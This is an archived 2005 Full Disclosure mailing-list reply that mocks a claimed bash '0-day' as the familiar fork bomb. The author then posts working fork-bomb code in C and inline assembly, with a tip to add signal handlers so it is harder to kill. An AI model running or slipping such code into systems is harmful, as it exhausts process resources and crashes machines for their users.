Full Disclosure mailing list archives
Re: bash vulnerability?
From: Rik Bobbaers <Rik.Bobbaers () cc kuleuven be>
Date: Tue, 16 Aug 2005 11:10:01 +0200
On Monday 15 August 2005 09:59, Jay wrote:
It's not nice to brag about finding 0-day bullshit in the bash fork bomb that has been Zalewski's signature for years :P
i think i know where he got it from.. i was on an irc channel a couple of days
ago, and someone posted it (as a joke off course). it's ... ahm... funny that
it comes back over here just a few days later!
i don't know how this is a 0day and gives you remote access (it does the
opposite...)
but if you want one that's a bit harder to stop:
c version:
int main () {
while (1) fork();
}
an asm (quick hack):
int main(){
__asm__(
"xorl %ecx,%ecx\n"
"cdq\n"
"HERE:\n"
"movl $0x2,%eax\n"
"int $0x80\n"
"jmp HERE\n"
);
}
sry it's in c... the machine i made it on didn't have gas or nasm.
anyway, if you compile this and run it in background, it will all die pretty
fast. (to make it even harder, make your own signal handlers!(okay, SIGKILL
will still work, but it will be harder to kill :))
shall we call this C and assembler 0days? ;)
--
harry
aka Rik Bobbaers
K.U.Leuven - LUDIT -=- Tel: +32 485 52 71 50
Rik.Bobbaers () cc kuleuven be -=- http://harry.ulyssis.org
Disclaimer:
By sending an email to ANY of my addresses you are agreeing that:
1. I am by definition, "the intended recipient"
2. All information in the email is mine to do with as I see fit and make
such financial profit, political mileage, or good joke as it lends itself to.
In particular, I may quote it on usenet.
3. I may take the contents as representing the views of your company.
4. This overrides any disclaimer or statement of confidentiality that may be
included on your message.
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- bash vulnerability? Shari Vegas (Aug 13)
- Re: bash vulnerability? Wernfried Haas (Aug 13)
- Re: bash vulnerability? Wernfried Haas (Aug 13)
- RE: bash vulnerability? Sean Crawford (Aug 13)
- Re: bash vulnerability? Matija Vidmar (Aug 13)
- Re: bash vulnerability? Andre' Breiler (Aug 13)
- Re: bash vulnerability? fd (Aug 14)
- Re: bash vulnerability? Wernfried Haas (Aug 13)
- Re: bash vulnerability? Wernfried Haas (Aug 13)
- Re: bash vulnerability? Milan 't4c' Berger (Aug 13)
- <Possible follow-ups>
- Re: bash vulnerability? starwars (Aug 14)
- RE: bash vulnerability? Jay (Aug 15)
- Re: bash vulnerability? Rik Bobbaers (Aug 16)
- Re: bash vulnerability? Jay (Aug 16)
- Re: bash vulnerability? Boris Jordanov / Борис Йорданов (Aug 16)
- Re: bash vulnerability? luke (Aug 16)
- Re: bash vulnerability? Rik Bobbaers (Aug 16)
- Re: bash vulnerability? Graham Reed (Aug 16)
- Re: bash vulnerability? nocfed (Aug 18)
- Re: bash vulnerability? nocfed (Aug 18)
- Re: bash vulnerability? Rik Bobbaers (Aug 16)
- Re: Re: Bash vulnerability? Gilles DEMARTY (Aug 26)
